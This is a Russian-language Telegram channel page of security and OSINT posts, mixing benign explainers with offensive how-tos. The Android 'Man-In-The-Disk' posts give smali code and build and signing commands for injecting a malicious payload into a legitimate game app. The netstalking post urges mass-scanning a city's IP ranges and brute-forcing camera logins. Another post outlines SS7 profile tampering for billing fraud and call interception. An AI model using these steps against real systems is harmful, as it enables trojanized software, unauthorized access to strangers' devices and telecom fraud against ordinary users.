.NET Kings
СтатистикаЕсли вам интересны: осинт, нетсталкинг, анонимность - этот канал для вас. Поддержать проект: @v_meshke По рекламе: @Molzka Весь материал публикуется в познавательных целях и имеет образовательный характер. Автор не несет ответсвенность за чужие десйтвия
- Последний пост
- 1 мар.
- Последнее чтение
- 15:46
- Постов за неделю
- 0
- Всего постов
- 20
- Тип
- открытый
- Язык
- русский
- Категория
- Познавательное
- В каталоге с
- 12 авг.
- 1/24сутки в ленте
- —
- 1/48двое суток
- —
- 1/72трое суток
- —
Оценка по просмотрам недавних постов: пост набирает почти всё за первые сутки.
Посты
👁🗨Hello world~ Автоматизированный обход DPI на роутере: B4 • Много было написано про DPI, и про сам принцип, и про обход через VLESS/VMess. Но прокси требуют сервер — это деньги и лишний пинг. GoodbyeDPI и Zapret работают без сервера, но требуют вручную ковырять параметры и списки доменов. B4 удобнее: никакого сервера, а настройка через веб-интерфейс с автоподбором стратегий. • B4 (Bye Bye Big Bro) — процессор сетевых пакетов на Go. Перехватывает трафик через netfilter и модифицирует его так, чтобы DPI провайдера не могла распознать, куда вы заходите. • Чем отличается от Zapret и GoodbyeDPI. Все три инструмента делают одно и то же, обманывают DPI без VPN и прокси, но подход разный: • GoodbyeDPI: Только Windows, минимум настроек, нет баз доменов, нет автоподбора. • Zapret: Linux, роутеры, имеет богатый CLI набор (iptables, nftables, скрипты, профили), а так же хорошую гибкость (параметры, списки, правила) • B4: Linux и роутеры (OpenWRT, Keenetic/Entware, Asus Merlin). Веб-интерфейс, встроенные geodata (не нужно вручную вести списки доменов), подключаешь категорию (youtube, netflix, facebook) и готово. Discovery, автоподбор рабочей стратегии под конкретный домен и провайдера. Изменения применяются на лету, без перезапуска. • Как поставить. Нужен Linux и root-доступ. Всё. Установщик сделает остальное. • На обычный Linux (ПК или сервер): подключаетесь по SSH или открываете терминал и выполняете: wget -O ~/b4install.sh https://raw.githubusercontent.com/DanielLavrushin/b4/main/install.sh && chmod +x ~/b4install.sh && ~/b4install.sh • На OpenWRT: подключаетесь по SSH, выполняете ту же команду. Управление: /etc/init.d/b4 restart • После установки открываете http://IP-устройства:7000, скачиваете geosite/geoip в настройках, создаёте набор доменов или подключаете категорию, запускаете Discovery на проблемном домене, B4 сам переберёт стратегии и предложит рабочую. Сохраняете и все применяется мгновенно. • У кого-то заработает сразу, у кого-то нужно будет поиграть с Discovery, для этого он и существует. Удачи! • GitHub: https://github.com/DanielLavrushin/b4 • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ BFLA: Уязвимость, когда функции доступны всем • Broken Function-Level Authorization (BFLA) — это критическая уязвимость безопасности веб-приложений и API, которая возникает, когда приложение неправильно проверяет, имеет ли пользователь право на выполнение конкретного действия, даже если он аутентифицирован. • BOLA и BFLA тесно связаны, так как раньше все это называлось одним Broken Access Control и его так же путают с IDOR, давайте быстро по тому, чем они отличаются. • IDOR: Пользователь получает доступ к данным/ресурсу, которому не должен (например, меняет user_id=101 на user_id=102 в URL, чтобы просмотреть чужой профиль). Проблема в объекте. • BFLA: Пользователь получает доступ к функции/действию/эндпоинту, которое ему не положено (например, вызывает административный API-метод DELETE /api/users/{id} будучи обычным пользователем). Проблема в функции. • Уязвимость возникает, когда приложение правильно аутентифицирует пользователя (он успешно вошёл в систему), но не проверяет или неправильно проверяет, имеет ли этот пользователь право выполнять конкретное действие. • Происходить это может по разным причинам, вот основные из них: • Доверие клиентской части (браузеру, мобильному приложению), которая сама решает, какие кнопки/меню показывать • Проверка прав только на уровне интерфейса • Применение проверок не во всех критичных эндпоинтах • Применение горизонтальной авторизацию, забыв про вертикальную • Главный принцип при защите: Каждый запрос к привилегированному эндпоинту должен проходить строгую проверку. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Атаки на телефонную сеть: Изменение профиля абонента в VLR • Полгода спустя продолжаем изучать атаки на SS7. • Изменение профиля абонента в VLR (Visitor Location Register) — это атака, при которой злоумышленник с доступом к SS7 подделывает сообщения от HLR и посылает в MSC/VLR фальшивые Insert Subscriber Data или другие MAP-команды, чтобы изменить параметры абонента. • Как происходит атака: • Атакующий получает MSISDN (прямая цель) и с помощью SRI-For-SM или подобных запросов выясняет IMSI и адрес обслуживающего MSC/VLR и HLR. • Выдав себя за HLR (или за доверенный узел), атакующий отправляет в VLR Insert-Subscriber-Data с изменёнными параметрами: • Смена роуминг/биллинг-параметров (чтобы трафик не биллился) • Активация/деактивация услуг (call barring, call forwarding) • Добавление CAMEL/gsmSCF адреса для перехвата исходящих вызовов • Подмена маршрута SMS • Изменение параметров абонента (например, IMSI <-> MSISDN mismatch для прокси) • VLR отвечает Insert-Subscriber-Data-ACK и атакующий получает подтверждение успешного изменения. • Используя изменённый профиль, атакующий может совершать мошеннические звонки (в обход биллинга), перенаправлять входящие/исходящие звонки и SMS на свои узлы, отключать уведомления или менять настройки, чтобы жертва не получила оповещений. • Атакующий может позднее вернуть профиль в исходное состояние (еще раз ISD), чтобы скрыть следы, или поддерживать "тихую" подмену. • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Интернет не анонимен...?: Все посты • Все посты из цикла, где мы рассматривали разные темы, связанные с анонимностью и безопасностью. • [Часть 1] Конфиденциальность vs Анонимность • [Часть 2] Как удалить свою онлайн-личность. Гугл • [Часть 3] Телеметрия приложений • [Часть 4] Пароли и их хранение • [Часть 5] DNS и его утечка • [Часть 6] Двухфакторная аутентификация • [Часть 7] Самый анонимный поисковик • [Часть 8] Базовая физическая приватность • [Часть 9] Защита сети и роутера • [Часть 10] Как вас могут раскрыть по радио волнам • [Часть 11] Самая анонимная ОС(?): Qubes OS • [Часть 12] Тор не анонимен: деанонимизация в даркнете • [Часть 13] Работа с сомнительными файлами и ссылками • [Часть 14] OPSEC: Как не стать мишенью при проведении расследований • Приятного чтения!
👁🗨Hello world~ Как найти айпи бекенда за CDN • Практически все нынешние веб-приложения, от малых до больших, стоят за CDN. Невозможность получить оригинальный айпи делает вектор нашей атаки ограниченным, сегодня мы поговорим, как можно попытаться это обойти. • Сразу стоит оговориться, что это не 100% способ, но часто рабочий. • Для начала мы собирает все поддомены, можно использовать sublist3r, subfinder, GooFuzz, theHarvester и другие, чем больше инструментов вы используете, тем больше будет потенциальных находок. Инструменты очень часто выдают одинаковый результат, так что получив все файлы с поддоменами объединяем их и оставляем только уникальные вхождения: cat file1.txt file2.txt файл3.txt ... file.txt | sort -u > subdomains.txt • Далее получаем данные с crt.sh: curl -s "https://crt.sh/?q=%25.example.com&output=json" -o crt.json • Получаем оттуда хосты: jq -r '.[].name_value' crt.json | sed 's/\*\.//g' | sort -u > crthosts.txt • Точно так же объединяем и оставляем только уникальные строки: cat subdomains.txt crthosts.txt | sort -u > stage2.txt • Получаем данные с веб архива: curl -s "http://web.archive.org/cdx/search/cdx?url=*.example.com&output=json&fl=original,timestamp" -o targwb.json • Снова получаем хосты: jq -r '.[1:][] | .[0]' targwb.json \ sed 's|https\?://||' \ cut -d'/' -f1 \ sort -u > targwbhosts.txt • Объединяем полученные хосты с предыдущим этапом и снова проводим дедупликацию: cat stage2.txt targwbhosts.txt | sort -u > stage3.txt • На этом этапе у нас есть максимально полный список доменов, которые когда-либо были связаны с таргетом. • Следующим шагом смотрим DNS записи в dnsdumpster и viewdns. Особый интерес представляют исторические A записи, хосты без CDN, адреса, относящиеся к обычным хостингам. • После этого проверяем текущие DNS записи локально: while read -r h; do dig +short A $h done < stage3.txt > dns.txt • Приводим все найденные IP к уникальному списку и внимательно анализируем адреса, которые выбиваются из общей картины CDN. • Далее переходим к TLS фингерпринтингу. CDN провайдеры, как правило, используют свои собственные сертификаты и массовые wildcard SAN. • Проверяем сертификаты у каждого домена: while read domain; do echo | openssl s_client -connect $domain:443 -servername $domain 2>/dev/null | openssl x509 -noout -subject -issuer -dates -ext subjectAltName done < stage3.txt • Обращаем внимание на: нестандартного Issuer, одинаковые даты выпуска, SAN, указывающие на инфраструктурные или технические домены. • Домены с SaaS назначением, support сервисами и сторонними платформами можно исключать. • На основе DNS и TLS данных формируем список наиболее вероятных кандидатов на origin. • Финальным шагом будет проверка прямого доступа к IP с сохранением SNI: curl -vk --resolve target.example.com:443:IP https://target.example.com/ • Если сервер отвечает корректно, сертификат валиден, а в заголовках отсутствуют упоминания CDN, то с высокой вероятностью это и есть айпи бекенда. • Метод не универсален, но при слабой сегментации инфраструктуры работает достаточно часто и позволяет существенно сузить поверхность атаки. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Цифровая гигиена: День 3. Пароли и MFA: Забудьте про замены букв цифрами • На этом канале уже поднимались эти темы в цикле "интернет не анонимен" (про пароли, про MFA), но повторение никогда не повредит. • Слабые и повторяющиеся пароли, одна из главных уязвимостей большинства пользователей. Самые популярные пароли это 123456, admin, 12345678 и так далее. Даже не слив БД, а обычная лень делает людей уязвимыми. • Короткий пароль P@ssw0rd взломать легче, чем длинную фразу ulibok_tebe_ded_mokar. Длина важнее сложности спецсимволов, старайтесь использовать пароли и/или фразы от 20-30 символов. • Менеджеры паролей. Человек не способен запомнить 50 уникальных длинных паролей. Используйте локальные менеджеры, такие как KeePassXC. • Многофакторная аутентификация. Пароль — это только половина защиты, вторая половина — второй фактор. • Не используйте SMS. Симкарту можно перевыпустить по поддельной доверенности. Лучше используйте приложения генерации ключей, например: Aegis, Google Authenticator или Raivo. • Самый лучший, но оттого и не самый удобный способ, это аппаратные ключи, такие как YubiKey. • Если есть что добавить по этому поводу, пишите в комментарии. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Security Misconfiguration: Уязвимость "по умолчанию" • Security Misconfiguration (Неправильная конфигурация безопасности) — это не уязвимость, а ситуация, при которой система настроена некорректно с точки зрения безопасности, что приводит к появлению уязвимостей. • В новом издании OWASP Top 10 она поднялась с пятого на второе место, так как 100% протестированных приложений имели ту или иную форму неправильной конфигурации. Чаще всего это были CWE-16 Конфигурация и CWE-611 XXE. • Приложение может быть уязвимым, если: • Включены или установлены ненужные функции • Стандартные учётные записи и их пароли включены и не изменены • Отсутствует централизованная конфигурация для перехвата избыточных сообщений об ошибках • Чрезмерный приоритет обратной совместимости приводит к небезопасной конфигурации • Параметры безопасности серверов приложений, фреймворков, баз данных и тд не установлены в безопасные значения • Не стоит легкомысленно относится к данным уязвимостям, так как на самом деле человеческий фактор может проявиться даже в крупных компаниях. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Цифровая гигиена: День 2. Безопасная почта: Принцип разделения • Электронная почта — это ключ ко всей вашей цифровой жизни. Если взломают основной ящик, злоумышленники смогут сбросить пароли от соцсетей, облачных хранилищ и других важных приложений. Использовать один меил для всего это фатальная ошибка. • Возможное решение. Создаем "Управляющий аккаунт" (Control Account): Вам нужен отдельный, защищенный почтовый ящик (например ProtonMail, Tutanota или любой другой), который вы не будете использовать для переписки. • Этот адрес должны знать только вы и критически важные сервисы. Самое главное правило: нигде не светить его публично. • Маскировка адресов (Email Masking): Не оставляйте свой реальный меил на сомнительных сайтах, форумах или в магазинах. Используйте сервисы переадресации (SimpleLogin, AnonAddy или встроенные алиасы в Proton). • Так для каждого сервисы вы создаете уникальный адрес и если база данных магазина утечет, ваш основной ящик не попадет в спам-листы и другие базы. Ну а скомпрометированный алиас можно просто удалить. • Итог: Разделяйте личную переписку, финансы и мусорные регистрации по разным ящикам. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ BOLA: Самая частая уязвимость API • BOLA (Broken Object Level Authorization) — это уязвимость, при которой приложение не проверяет, имеет ли пользователь доступ к конкретному объекту. Она относится к Broken Access Control и является самой распространенной. • Некоторые могут подумать, что это тот же самый IDOR, но не совсем. IDOR это частный случай BOLA, когда объект доступен напрямую по идентификатору. BOLA шире: уязвимость возникает в любом случае, когда API не проверяет права доступа к объекту, даже если ID спрятан или сложный. • Пример BOLA. Пусть API заказов: GET /api/orders/98765 Authorization: Bearer USER_TOKEN • На сервере: SELECT * FROM orders WHERE id = 98765; • Ошибка. Нет проверки: AND user_id = current_user_id • Атакующий может посмотреть чужие заказы, узнать адрес доставки, а иногда отменить или изменить заказ, если есть: DELETE /api/orders/98765 • Особенно часто такую уязвимость можно заметить у GraphQL. • UUID, hash или random ID не защищают, если нет проверки владельца объекта. • BOLA не баг аутентификации, а проблема логики доступа, от чего она так часто встречается в проде. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Цифровая гигиена: День 1. Бумага надежнее облака • Кибербезопасность это игра на опережение, если вы начинаете действовать только после инцидента, скорее всего, уже поздно. Последствия взлома всегда дороже и болезненнее, чем профилактика. • В этом цикле постов я решил адаптировать гайд по "базовой гигиене" от IntelTechniques. Это не про то, как стать невидимкой и уйти в леса, а про то, как не стать самой легкой добычей. • Всего будет 10 постов, приятного чтения! • Концепция Security Journal. Это физический блокнот, который находится в безопасном месте (ваш дом/сейф) и никогда его не покидает. Никаких заметок в телефоне, никаких текстовых файлов на рабочем столе, лишь бумага и ручка. • Зачем и почему? Очевидно, вероятность взлома ПК или облака кратно выше, чем шанс того, что к вам проберутся воры, чтобы украсть блокнот. • Что там хранить. • Мастер пароль. Пароль, который дает доступ ко всем остальным (условно от менеджера паролей). • Коды восстановления доступа (2FA) на случай потери телефона. • Сетевые данные. IP-адреса админок, логин/пароль администратора, настройки подсети. • Ответы на секретные вопросы. Никогда не пишите правду (девичья фамилия матери легко гуглится). Придумывайте ложь, а саму ложь записывайте в журнал. • Итог: заведите бумажный носитель. Это ваше "холодное хранилище" (Cold Storage), которое физически оторвано от интернета. Если завтра у вас сгорит телефон и заблокируется ноутбук, то этот блокнот вернет вам контроль над цифровой жизнью. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ VLAN Segmentation или Почему "плоская" сеть мечта хакера • VLAN (Virtual Local Area Network) — технология, позволяющая на одном устройстве создавать несколько виртуальных изолированных сетей. Она применяется практически повсеместно, но многие администраторы ленятся и используют "плоскую сеть" (Flat Network), где все устройства находятся в одной сети без сегментации (например, 192.168.1.0/24). • Чем опасна плоская сеть: • Lateral Movement (Боковое перемещение). Основная проблема, если злоумышленник взломает самое слабое звено (например, "умную" лампочку, принтер в коридоре или компьютер секретаря), в плоской сети он мгновенно получает доступ к контроллеру домена или любому другому серверу. • Масштаб атак MitM. Атаки вроде ARP Spoofing работают в пределах широковещательного домена. Без VLAN ваш домен это вся организация, от чего перехватить трафик внутри становится элементарно. • Широковещательные штормы. Один неисправный свитч или сетевая карта могут зафлудить мусорным трафиком всю сеть, положив работу отдела, а то и всего офиса. • Как грамотно сегментировать: • Разделение по ролям. Гостевой Wi-Fi, IoT-устройства (принтеры, камеры), рабочие станции пользователей и сервера должны находиться в строго разных VLAN. • VLAN управления. !!Никогда!! не оставляйте интерфейсы управления свитчами/роутерами в дефолтном пользовательском VLAN (обычно VLAN 1). Выделите для админки отдельную подсеть, доступную только IT-отделу. • Настройка ACL. Само по себе создание VLAN не спасет, если роутер маршрутизирует трафик между ними без ограничений. Обязательно настраивайте списки контроля доступа (ACL) на фаерволе, разрешая только строго необходимый трафик между сегментами. • Сегментация это БАЗА сетевой безопасности и гигиены. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ DHCP Starvation: Атака на истощение • DHCP Starvation — атака на сеть, суть которой в исчерпывании пула доступных IP адресов на DHCP сервере. Делается это злоумышленниками, чтобы клиенты не могли получить адрес и, как следствие, потеряли связь в сети. • Как проходит аката: • Злоумышленник генерирует большое количество DHCP запросов (DHCPDISCOVER/DHCPREQUEST) с поддельными уникальными MAC-адресами. • DHCP сервер считает, что это разные клиенты, и выдает каждому IP адрес из пула. • Пул адресов исчерпывается, а значит новые клиенты не получают IP (получают отказ или остаются с APIPA/без адреса). • После истощения пула злоумышленник может запустить ложный DHCP сервер, чтобы раздать вредоносные параметры сети. • Для защиты от подобных атак используется DHCP snooping, сегментация сети / VLAN и так далее. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Атака Man-In-The-Disk на Android. Часть 5 Внедрение полезной нагрузки 2 • Финальный пост по этой теме, продолжаем и наконец внедрим полезную нагрузку в приложение. • Для получаения smali кода нашей нагрузки, соберем его в APK и декомпилируем, после чего переносим наши три декомпилированных класса по пути smali\kz\c\signscan, в папку com/halfbrick/mortar и меняем package name всем классам, с kz.c.signscan на com.halfbrick.mortar. Пример: • Было: .class public Lkz/c/signscan/StageAttack; • Стало: .class public Lcom/halfbrick/mortar/StageAttack; • В smali классе MainActivity берем строчку вызова пейлоада: invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V • И вставляем в MortarGameActivity. В итоге метод onCreate() выглядит: .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; • Класс MaliciousTaskManager в payload это BroadcastReceiver, а MaliciousService это IntentService, поэтому мы должны их прописать в манифесте. <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> • Запаковываем все обратно командой apktool b myfolder и получаем apk файл. Теперь нам необходимо его подписать, чтобы андроид принял наше приложение. Для начала сгенерируем ключ, которым будем подписывать: keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 • Подписываем apk: jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name • Все, мы вшили полезную нагрузку в безопасное приложение. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ RainbowCrack: Взлом с радужными таблицами на практике • Я уже рассказывал про rainbow tables, что это такое и как используется для перебора хэшированных паролей, сегодня поговорим про утилиту, которая помогаем в этом. • RainbowCrack — это инструмент для взлома хешей паролей с использованием радужных таблиц. Он предназначен для ускорения процесса подбора паролей по хешам, применяя заранее вычисленные таблицы соответствия между хешами и исходными паролями. • Как с ним работать: • Создание таблиц: При помощи утилиты rtgen (входит в пакет RainbowCrack) создаются радужные таблицы для определённого алгоритма хеширования и набора символов. • Сортировка и объединение: Команды rtsort и rtmerge оптимизируют таблицы. • Поиск пароля: Команда rcrack использует готовые таблицы, чтобы по заданному хешу попытаться восстановить пароль. • Не всегда стоит использовать RainbowCrack, иногда тот же Hashcat может выдать лучший перформанс, к примеру: • Если хеши солёные, то радужные таблицы практически бесполезны • Если алгоритм современный KDF, то радужные таблицы так же не применимы • Если нужен гибридный подход: словарь+правила+маски/брутфорс • Если у тебя GPU, Hashcat даст лучшую производительность • Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Нетсталкинг: Узнай про свой город все Сетевые методы • В прошлый раз мы узнали про ОСИНТ методы, такие как поиск необычных запросов, архивных PDF, использование гугл дорков и другие, сегодня мы погрузимся глубже и будем сканировать сети на наличие интересного. Заранее скажу, что я не несу ответственность за неэтичное использование любых описанных ниже действий. • Индексаторы устройств. База, использование Shodan/Censys/GreyNoise и других подобных поисковых движков. Они сканируют и индексируют устройства выдавая метаданные сервисов (тип, порт, заголовки и т.д.). Полезны для быстрого обзора, при умении составлять (или просто искать) запросы, можно находить публичные веб-интерфейсы камер, панелей, FTP и так далее. • Сбор IP диапазонов города. Раньше был прекрасный сервис 4it.me, но сейчас он не работает, так что теперь я делаю так, скачиваю базу IP диапазонов тут (нужна регистрация), в БД хранятся: числовые представления IP, страна, область, город, вот пример: "16785408","16793599","CN","China","Guangdong","Guangzhou" • Я написал простенький скрипт, который по названию города составляет текстовик с адресами, скачать можно тут. • Что дальше делать с этими адресами? Конечно же сканировать! Не зря же я разбирал сканеры. • Очевидно, что Nmap тут не поможет, так как нужно просканировать большое количество адресов за раз. Можете использовать masscan, Angry IP Scanner, Advanced Scanner, тут зависит от ваших задач. • К примеру для поиска камер можно просканировать 8000 порт и если он доступен, то с помощью Hikka сбрутить его логин и пароль. • Думаю как находить открытые FTP, NAS, SMB, RDP говорить не нужно (хотя если нужно, мне не сложно). Главное не забывайте про свою безопасность при этом деле. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Изучаем Linux: Основы настройки сети • В прошлый раз мы говорили про планировщики задач и как ими пользоваться, сегодня поговорим про инструменты для работы с сетью. • ifconfig — утилита для просмотра информации, поднятия/опускания интерфейса, настройки адреса. Сейчас считается устаревшей, хотя многие дистрибутивы всё ещё её поставляют. • Примеры: • Просмотр интерфейсов: ifconfig -a • Поднять/опустить интерфейс: sudo ifconfig eth0 up sudo ifconfig eth0 down • ip — современная и мощная утилита для всего, что связано с сетью: интерфейсы, адреса, маршруты. Заменяет сразу несколько устаревших инструментов. • Посмотреть статус link (up/down, MAC, MTU): ip link show • Посмотреть адреса IP по интерфейсам: ip addr show • Поднять/опустить интерфейс: sudo ip link set dev eth0 up sudo ip link set dev eth0 down • Просмотр таблицы маршрутов: ip route show • route — устаревший инструмент, сейчас используют ip route. • nmcli — если в системе включён NetworkManager, nmcli это основной инструмент для управления подключениями, профилями и Wi-Fi. • Примеры: • Показать статус NetworkManager и устройства: nmcli general status nmcli device status • Просмотр подключений: nmcli connection show • Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ SSTImap: Автоматический поиск инъекций в шаблонах • SSTImap — это инструмент для автоматического обнаружения и эксплуатации уязвимостей SSTI, а также некоторых видов code-injection. • Немного подробнее: • Поддерживает множество шаблонизаторов, например: Jinja2, Twig, Smarty, Freemarker, Velocity, шаблонные движки в JavaScript (EJS, Nunjucks и др.), Ruby (ERB, Slim), Python шаблоны и др. • Умеет: исполнять код шаблона, исполнять команду на ОС, загружать/скачивать файлы, открывать обратную оболочку и т.д. • Так же имеет интерактивный режим, который позволяет вручную управлять тестами, подставлять пэйлоады, исследовать точки инъекции. • Инструмент может давать ложные срабатывания, особенно если результат выражения не отражается явно в ответе сервера или вывод “отложен”. • Напишите в комменты, нужен ли пост с примером использования этого инструмента. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ DHCP: Как устройствам в сети выдаются свои адреса • DHCP (Dynamic Host Configuration Protocol) — это сетевой протокол, находящийся на уровне приложений, который автоматически выдаёт устройствам в сети IP адреса и другие параметры для работы. Для работы он использует UDP порты: 67 для сервера и 68 для клиента. • Без этого протокола администратору пришлось бы вручную настраивать каждый компьютер, телефон и так далее. • Работает DHCP следующим образом: • DHCP Discover: Клиент подключается к сети и ищет DHCP сервер • DHCP Offer: Сервер отвечает предложением IP адреса и параметров (шлюз, DNS, маска сети) • DHCP Request: Клиент выбирает одно из предложений и подтверждает запросом • DHCP Acknowledge (ACK): Сервер окончательно закрепляет адрес за клиентом • Выдается IP в сети не навсегда, а на время, это время передается вместе с параметрами и называется время аренды (lease time). • Такой вот кратенький ликбез. Удачи! #ИзучаемСеть • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ Атака Man-In-The-Disk на Android. Часть 4 Внедрение полезной нагрузки • Когда у нас уже есть готовый пейлоад, настало время встроить его в легитимное приложение, как это сделать? • Для начала проводим декомпиляцию через apktool, он выдаст нам smali код. Но что это и почему не декомпилировать до джавы, раз практически все приложения написаны именно на ней? • Smali — это низкоуровневый язык, используемый для работы с Dalvik байткодом. Проще говоря, это человекочитаемое представление байткода андройд приложений. Можно сказать асемблер для андройда. • Ну хорошо, но почему именно smali, а не Java? Просто после модификации мы не сможем собрать Java код обратно, поэтому нам необходимо получить именно smali классы и работать мы будем с ними. • Для запуска нагрузки вместе со стартом приложения нужно модифицировать входную точку. Входной точкой любого GUI приложения является класс потомок Activity, который принимает ACTION_MAIN. • Открываем папку с декомпилированным приложением, и находим его в файле AndroidManifest.xml: <activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> • https://t.me/netskings/491 com.halfbrick.mortar.MortarGameLauncherActivity. Открываем Activity, в данном случае по пути base\smali_classes2\com\halfbrick\mortar\MortarGameLauncherActivity.smali и видим код. .class public Lcom/halfbrick/mortar/MortarGameLauncherActivity; .super Landroid/app/Activity; .source "MortarGameLauncherActivity.java" .method public constructor <init>()V .locals 0 .line 28 invoke-direct {p0}, Landroid/app/Activity;-><init>()V return-void .end method .method protected onStart()V .locals 2 .line 33 invoke-super {p0}, Landroid/app/Activity;->onStart()V .line 35 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->isTaskRoot()Z move-result v0 if-nez v0, :cond_0 .line 37 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V return-void .line 41 :cond_0 new-instance v0, Landroid/content/Intent; const-class v1, Lcom/halfbrick/mortar/MortarGameActivity; invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V .line 42 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V .line 43 invoke-virtual {p0, v0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->startActivity(Landroid/content/Intent;)V return-void .end method • Тут видно, что MortarGameLauncherActivity запускает MortarGameActivity и закрывается. Посмотрим что делает метод Oncreate в MortarGameActivity. .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V // Здесь будет наш код как 472 строка. .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; • Теперь нам осталось только преобразовать нашу нагрузку в smali код и вставить, чем мы и займемся в следующий раз. Удачи! • Поддержать автора монеткой: @v_meshke
👁🗨Hello world~ APKHunt: Автоматизированный поиск уязвимостей в APK • APKHunt — это инструмент статического анализа android приложений, основанный на OWASP MASVS, который позволяет выявлять потенциальные уязвимости в коде. • По сути это просто скрипт написанный на GO, имеющий открытый код. Для установки понадобятся: • Git • Golang • JADX • Dex2jar • Команда для установки: git clone https://github.com/Cyber-Buddy/APKHunt.git • Для запуска: go run apkhunt.go [опции] • Сами опции: • -p или --package <путь>: Сканирование одного APK • -m или --multiple <папка>: Сканирование нескольких файлов в папке • -l: Логирование результатов в текстовом файле • -h: Справка по опциям • Это уже классический инструмент статического анализа андройд приложений, хотя недавно ИИ агент A2 смог найти больше уязвимостей, так что его знание будет полезно, но все же следить за новостями ИИ тоже стоит. Удачи! • Поддержать автора монеткой: @v_meshke